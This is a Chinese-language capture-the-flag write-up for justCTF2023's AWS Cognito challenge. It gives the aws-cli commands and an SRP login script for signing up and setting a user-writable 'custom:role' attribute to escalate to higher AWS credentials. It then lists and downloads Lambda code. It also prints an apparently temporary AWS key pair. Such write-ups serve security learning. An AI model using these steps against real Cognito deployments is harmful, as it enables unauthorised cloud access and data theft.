justCTF2023-AWS Cognito认证服务的安全隐患
2023-6-18 12:1:26 Author: 白帽子左一(查看原文) 阅读量:13 收藏

扫码领资料

获网安教程

免费&进群

justCTF2023 Easy Auth Cloud题目,有关AWS Cognito认证服务可能存在的安全隐患

这道题目和文章 Hacking AWS Cognito Misconfigurations 思路大致相同,利用Cognito服务的默认配置和一些错误用法进行权限提升,但是多出几个细节,这里简单归结几点如下:

  • Web应用没有注册和登录功能,前端JavaScript代码简单混淆,能够通过AWS Cognito JavaScript SDK 拿到App Client ID, User Pool ID, Identity Pool ID, and region 信息

  • 攻击者首先需要获得Web应用的认证,在修改用户属性后,Cognito Identity Pool会基于ABAC(attribute based access control)的方式提供给用户更高权限的AWS Credentials,之后利用AWS Credentials获取托管在云上的lambda代码并解密出flag值

Cognito是AWS提供的一项全托管的认证、授权和用户管理服务,通过Cognito,开发人员可以不用自行编写认证、授权和用户管理的代码,而是通过Cognito的API来完成这些操作。Cognito提供两种核心服务,分别为UserPoolIdentity Pool

  1. UserPool:UserPool表示一个用户池,用于管理用户的注册、登录、身份验证和密码重置等操作。使用UserPool可以方便地创建和管理用户帐户,用以Web、Mobile APP的身份管理。此外,UserPool还支持社交身份验证,例如Facebook、Google等。

  2. Identity Pool:Identity Pool表示身份池,用于管理访问AWS服务的用户身份认证和授权。它与UserPool不同,它可以提供跨不同平台(不同应用程序和设备)的单一登录。身份池为应用程序用户提供了一组临时安全证书,这些证书可用于访问AWS服务。

通过这两种服务,开发人员可以方便地创建、管理和验证用户帐户,并管理应用程序的访问权限和安全性。

开局给了个登陆页面,经过简单阅读前端JS代码后发现有对Cognito SDK的使用,调出前端控制台debug偏移就能够拿到Cognito信息

后续的所有步骤都需要借助aws-cli,首先根据clientIDCognito服务注册账号

  1. aws cognito-idp sign-up --client-id "g1l1udtdgp1cu30fogbucvh4d" --region "eu-west-1" --username "hpdoger1" --password "*()Hpdoger123"

紧接着使用注册的账号登陆User Pool,作者只配置了USER_SRP_AUTH这种认证方式,我选择用SDK进行登陆模拟,运行如下登录脚本会打印用户登陆后的各种Token信息

  1. import axios from 'axios'

  2. import { SRPClient, calculateSignature, getNowString } from 'amazon-user-pool-srp-client'

  3. function call (action, body) {

  4. const request = {

  5. url: 'https://cognito-idp.eu-west-1.amazonaws.com',

  6. method: 'POST',

  7. headers: {

  8. 'Content-Type': 'application/x-amz-json-1.1',

  9. 'X-Amz-Target': action

  10. },

  11. data: JSON.stringify(body),

  12. transformResponse: (data) => data

  13. }

  14. return axios(request)

  15. .then((result) => JSON.parse(result.data))

  16. .catch((error) => {

  17. const _err = JSON.parse(error.response.data)

  18. const err = new Error()

  19. err.code = _err.__type

  20. err.message = _err.message

  21. return Promise.reject(err)

  22. })

  23. }

  24. function login (email, password) {

  25. const userPoolId = process.env.CognitoUserPoolUsers.split('_')[1]

  26. const srp = new SRPClient(userPoolId)

  27. const SRP_A = srp.calculateA()

  28. return call('AWSCognitoIdentityProviderService.InitiateAuth', {

  29. ClientId: process.env.CognitoUserPoolClientWeb,

  30. AuthFlow: 'USER_SRP_AUTH',

  31. AuthParameters: {

  32. USERNAME: email,

  33. SRP_A

  34. }

  35. })

  36. .then(({ ChallengeName, ChallengeParameters, Session }) => {

  37. const hkdf = srp.getPasswordAuthenticationKey(ChallengeParameters.USER_ID_FOR_SRP, password, ChallengeParameters.SRP_B, ChallengeParameters.SALT)

  38. const dateNow = getNowString()

  39. const signatureString = calculateSignature(hkdf, userPoolId, ChallengeParameters.USER_ID_FOR_SRP, ChallengeParameters.SECRET_BLOCK, dateNow)

  40. return call('AWSCognitoIdentityProviderService.RespondToAuthChallenge', {

  41. ClientId: process.env.CognitoUserPoolClientWeb,

  42. ChallengeName,

  43. ChallengeResponses: {

  44. PASSWORD_CLAIM_SIGNATURE: signatureString,

  45. PASSWORD_CLAIM_SECRET_BLOCK: ChallengeParameters.SECRET_BLOCK,

  46. TIMESTAMP: dateNow,

  47. USERNAME: ChallengeParameters.USER_ID_FOR_SRP

  48. },

  49. Session

  50. })

  51. .then(({ AuthenticationResult }) => ({ username: ChallengeParameters.USERNAME, credentials: AuthenticationResult }))

  52. })

  53. }

  54. process.env.CognitoUserPoolUsers = "eu-west-1_sEBJdM3TJ"

  55. process.env.CognitoUserPoolClientWeb = "g1l1udtdgp1cu30fogbucvh4d"

  56. login("hpdoger", "*()Hpdoger123").then((resp)=>{console.log(resp)})

这里会同时获得三种状态的Token,分别为:AccessTokenIdTokenRefreshToken

  1. {

  2. username: 'hpdoger',

  3. credentials: {

  4. AccessToken: 'eyJraW...',

  5. ExpiresIn: 3600,

  6. IdToken: 'eyJraWQiO...',

  7. RefreshToken: 'eyJjd...',

  8. TokenType: 'Bearer'

  9. }

  10. }

这三种Token应对场景不同,各司其职:

  • AccessToken:AccessToken用于访问AWS资源的临时令牌,它只有短暂的有效期,通常保留在客户端。当用户通过认证成功之后,Cognito返回一个AccessToken,客户端在访问AWS资源的时候需要携带该AccessToken来证明自己的身份和权限。

  • IdToken:IdToken是用于验证用户身份的令牌,通常在用户登录后进行访问。例如,当用户通过Cognito认证之后,服务器返回一个IdToken,客户端可以用来确认用户是谁,以及他们的权限。

  • RefreshToken: Refresh Token是用于获取新的AccessToken和IdToken的令牌。当一个AccessToken到期时,客户端可以使用一个Refresh Token来获取一个新的AccessToken,而无需再次进行身份认证。Refresh Token通常仅在安全凭据存储中保留。

再引用一段描述区分AccessTokenAWS Temporary Credentials的异同

当用户通过Cognito进行认证后,Cognito会向用户发送一个AccessToken和一个IdToken,其中IdToken可以用于向AWS获取AWS临时证书(AWS Temporary Credentials)。

Access Token和AWS Temporary Credentials都是AWS Cognito中扮演身份认证的不同形式,但是它们之间有一些重要的区别:Access Token通常是无状态的,并且它存储的是经过加密的用户信息,允许用户访问受保护的资源,比如API Gateway;比较而言,Temporary Credentials是一种AWS IAM中生成的安全凭证,允许用户访问AWS中的资源,比如S3、EC2、lamada等。

简而言之,如果想要获得AWS云上的资源,就需要一份AWS Temporary CredentialsCognito服务也是做这件事的,它可以让Identity Pool授权我们的AccessToken来生成AWS Credentials(包含AccessKeyId、SecrectKey、SecrectSession)

  1. aws cognito-identity get-credentials-for-identity --identity-id YOUR_IDENTITY_ID --logins '{"YOUR_PROVIDER_NAME":"YOUR_PROVIDER_TOKEN"}'

其中YOUR_IDENTITY_ID为前端JS泄漏的identity-idYOUR_PROVIDER_NAME可以根据regionuser-pool-id拼接而来,且YOUR_PROVIDER_NAME的格式固定:cognito-idp.<region>.amazonaws.com/<user-pool-id> ;YOUR_PROVIDER_TOKENUserPool登陆后返回的IdToken,那么对于这道题目来说运行的示例如下

  1. aws cognito-identity get-credentials-for-identity \

  2. --identity-id "eu-west-1:d19dc8bc-277b-4674-a022-cb844f96d1f3" \

  3. --logins "cognito-idp.eu-west-1.amazonaws.com/eu-west-1_sEBJdM3TJ=eyJraW..."

得到的返回信息即为AWS Credentials,使用exportAWS Credentials引入环境变量后即可使用aws-cli访问AWS云上资源

  1. export AWS_ACCESS_KEY_ID=ASIA6NYM5FVFAT442IEG

  2. export AWS_SECRET_ACCESS_KEY=vCZKCemBP/NO65IQC0I9GO/V5c3gLkUiWpy2b1XO

  3. export AWS_SESSION_TOKEN=IQoJb3JpZ....

但很可惜的是当前AWS Credentials对于存储桶的权限非常低,只能读到fake_flag文件,于是我决定对当前的Credentials枚举更多可用的权限。利用枚举探测的脚本:https://github.com/securisec/cliam ,发现当前Credentials能做的事情比较少,只能list部分s3 bucket

云上的部分暂且到这儿,再将思路拉回到Web题目本身,Index首页可以看到这样一句话

这或许暗示需要通过登陆获得进一步的提示信息,而整个Web Application并没有开放注册或登录的接口。但在第二步中,AWS用户凭证生成的三个Token中还包含了AccessToken,也是在搜索了相关用法后,发现有这样一篇文章:cognito-pentest。大概讲的就是,在基于AWS开发的业务中,通常会将AccessToken作为Web Application的用户态JWT使用

在请求Web Application时只需要携带Authorization头,内容为AccessTokenAWS WebGateway会根据此状态判别用户是否登录。于是当我们携带正确的AccessToken访问/home路由后,题目给出了新的提示:only role xxx can get access

同时/flag路径下面给了一段AES加密的字符串,意味着题目到这里还没有结束。在复盘时我想,这一步作者想考察的点在于,攻击者需要对当前的用户身份设置role,并且rolefishy_moderator的用户将在IdentityPool认证后拥有不一样的权限。

那么这个role意味着什么呢?先按照题目思路做下去,由于AWS默认开放了Own User Attribute Read/Write权限,并且User Pool providers内置了一些属性比如nameemailphone_number等,用户可以通过update-user-attributes更新用户属性。

  1. aws cognito-idp update-user-attributes --access-token "eyJraw..." --user-attributes '[{"Name":"custom:role","Value":"fishy_moderator"}]'

更新完属性后,重新登陆刷新Token,就可以借助get-user验证刚刚设置的用户属性:aws cognito-idp get-user --access-token “ey..”

再次重复IdentityPool授权的步骤,拿到新的AWS Credentials,发现此时的Credentials具有lambda list的权限。

到这里,也是整个场景产生漏洞的原因:在AWS注册用户sign-up时默认会指定一个default Role,这个Role就作为用户属性(Attribute)存在,而IdentityPool认证后颁布的AWS Credentials是基于User ABAC(attribute-based access control)的,于是在前文中IdentityPool后拿到的AWS Credentials就非常有限,相当于Default Role仅能list s3 bucket。但是AWS Cognito默认允许用户修改Own User Attribute,那么攻击者就可以为自己设置新的Role,此时IdentityPool认证后的AWS Credentials就具有了新的权限—list lambda functions

这种攻击面也不是第一次出现,在文章:https://www.truesec.com/hub/blog/aws-cognito-token-security-one-step-closer 中,作者利用Owner User Attribute Update操作,更改了自己的用户身份,从而产生一系列越权漏洞。

再回到题目,利用新的AWS Credentials列出lambda functions,能够发现计算flaglambda函数

  1. aws lambda list-functions --profile jctf --region eu-west-1

再通过get-function获得FlagLambda代码所在位置:

  1. aws lambda get-function --function-name FlagLambda --query 'Code.Location' --profile jctf --region eu-west-1

凭借相同的方式,在多个lambda代码获得AES加密flag的key + nonce,结合前文/flag路由获取到的flag密文从而解码出flag值,题目到这里也就结束了。

总的来说,漏洞的核心在于作者配置了Cognito Identity Pool认证时采用ABAC的方式,且ABAC的部分值又由用户可控,信任空间没有把握好。

来源:https://hpdoger.cn/2023/06/05/title: justCTF2023-AWS Cognito认证服务的安全隐患/

声明:中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247596015&idx=1&sn=b9ce3ff36ca63a33d7c85aca234e2ae3&chksm=ebeb3ec2dc9cb7d46f50c9da291ad33f2260df09fbee9e66eb4eb2f2cc186040555a367f3b6e#rd
如有侵权请联系:admin#unsafe.sh